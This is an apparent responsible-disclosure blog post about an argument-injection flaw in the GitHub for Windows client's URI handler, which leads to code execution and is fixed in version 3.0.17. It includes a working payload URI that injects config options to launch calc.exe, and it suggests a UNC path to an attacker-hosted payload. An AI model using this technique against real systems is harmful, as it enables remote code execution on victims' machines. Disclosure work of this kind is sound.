Recently GitHub disclosed a vulnerability which I reported within the GitHub for Windows client. This report can be found here.
The aim of this post is to give a quick rundown of how the issue was discovered, and to introduce this type of vulnerability for those that may not have seen it before.
The GitHub for Windows client provides users with an easy way to manage their GitHub repo’s, from pushing to GitHub for the first time, to creating pull requests. In addition, GitHub provide the ability for users to clone an online repo via a button presented on the project page:
This button is implemented via a registered URI handler installed by the client. In the example above, a URI to the Metasploit-Framework would be:
Microsoft allow applications to register new URI handlers via the registry by providing a command to execute along with the URI parameters. Looking at GitHub, we find the following registry key has been added:
[HKEY_CLASSES_ROOT\github-windows\shell\open\command] C:\Users\xpn\AppData\Local\Apps\2.0\R0M6MET2.YQR\DGEMRHGK.Z2O\gith..tion_317444273a93ac29_0003.0000_c74cce3a838f9354\GitHub.exe" -u="%1"
As we can see, an argument of -u is provided to the client, with the URI value encoded within quotation marks. This means that when the URI is invoked as "github-windows://openRepo/https://github.com/xpn/test", the following command is executed:
Reviewing the Microsoft documentation on URI handlers, we find a number of security warnings, for example:
The string that is passed to a pluggable protocol handler might be broken across multiple parameters. Malicious parties could use additional quote or backslash characters to pass additional command line parameters.
With this in mind, let’s review the command line arguments that GitHub supports:
--open-shell[=VALUE] Open a Git Shell to the working directory. Specifying the working directory is optional. --set-up-ssh Setup SSH Keys --credentials=VALUE Credential caching api for use with Git --install Install the url protocol into the registry --delete-cache Clean all locally cached data --delete-credentials Clear all locally cached credentials --uninstall Uninstall the url protocol from the registry -u, --url=VALUE Clone the specified GitHub repository -p, --path=VALUE Selects the repository specified by the path. Running `GitHub the-path` also works. --cd, --current-directory=VALUE Sets the working directory of this instance. This is used for internal purposes. --config[=VALUE] Set or show configuration values --reinstall-shortcuts Reinstall GitHub Desktop and Git Shell shortcuts -h, -?, --help Display this message
To see if the client is vulnerable to argument injection, we can craft a URI as follows:
When requested, we are presented with:
So how can we turn this into RCE? Well for this we look to the –config option, specifically the following variables:
- DefaultGitShell - The type of shell to open when “–open-shell” is requested, or set to “Custom” to launch an executable listed in “CustomShell”.
- CustomShell - The path to a shell when DefaultGitShell is set to “Custom”.
By crafting these variables, and launching a shell with “--open-shell” argument, we can achieve RCE, for example:
github-windows://a" --config=DefaultGitShell="Custom github-windows://a" --config=CustomShell="C:\\windows\\system32\\calc.exe github-windows://a" --open-shell="
While our payload is set to launch calc.exe, by using UNC paths such as "\\attacker.com\openshare\payload.exe", it would be trivial to launch any payload.
Below is a demo of how this looks when launched via Microsoft Edge and Google Chrome. What I found interesting is the way in which different browsers react to URI’s. The first browser is Microsoft Edge, which requires no user interaction to launch the URI, but does advise the user that Github will be launched upon each new instance. Interestingly, no reference is made to the arguments passed to the URI.
The second browser is the latest version of Google Chrome, with the "github-windows://" URI warning accepted and set to ignore future warnings. This browser seemed to require a “click” event to trigger the URI (or 3 click events in our case).
This issue has been fixed in version 3.0.17 which is now available here.
I’d like to thank the GitHub team for their extremely quick triage and turnaround on this vulnerability. Not only was the issue recreated, fixed, and a new version released in 5 days, but their communication during the remediation (including putting me in contact with their developer to discuss how the issue had been fixed) was awesome.